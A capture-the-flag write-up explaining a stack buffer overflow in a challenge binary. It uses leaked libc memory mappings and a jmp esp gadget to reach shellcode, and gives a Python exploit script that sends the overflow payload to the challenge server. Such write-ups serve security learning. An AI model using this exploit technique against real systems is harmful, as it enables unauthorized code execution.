Overview

challenge1 is an Linux x86 binary that has a buffer overflow. Using information disclosed from another problem, we can use libc gadget to jump to our shellcode.

Writeup

After reversing through the standard network / privilege dropping code, we find an interesting function q_generate that has a buffer overflow. Here we take advantage of having a shell on the box (via exp400) to get some useful information: we get a copy of libc to search for gadgets and the base offset where libc is loaded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 08:01 786434     /bin/cat
08053000-08054000 r-xp 0000a000 08:01 786434     /bin/cat
08054000-08055000 rwxp 0000b000 08:01 786434     /bin/cat
08055000-08076000 rwxp 00000000 00:00 0          [heap]
b7e31000-b7e32000 rwxp 00000000 00:00 0
b7e32000-b7fd1000 r-xp 00000000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd1000-b7fd3000 r-xp 0019f000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd4000 rwxp 001a1000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd4000-b7fd7000 rwxp 00000000 00:00 0
b7fdb000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rwxp 00020000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

We also observe that NX is disabled, so we use a jmp esp gadget from libc to jump to our shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

shellcode = ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('127.0.0.1', 12345))
s.connect(('128.238.66.213', 12345))
f = s.makefile('rw', bufsize=0)

libc_offset = 0xb7e32000

jmp_esp = 0x0014853F + libc_offset

first_part =  "D"*124
second_part = "A"*int(0x38)  + "BBBB" + struct.pack("I", jmp_esp) + shellcode

payload = first_part + second_part + "\n"

f.write(payload)

t = telnetlib.Telnet()
t.sock = s
t.interact()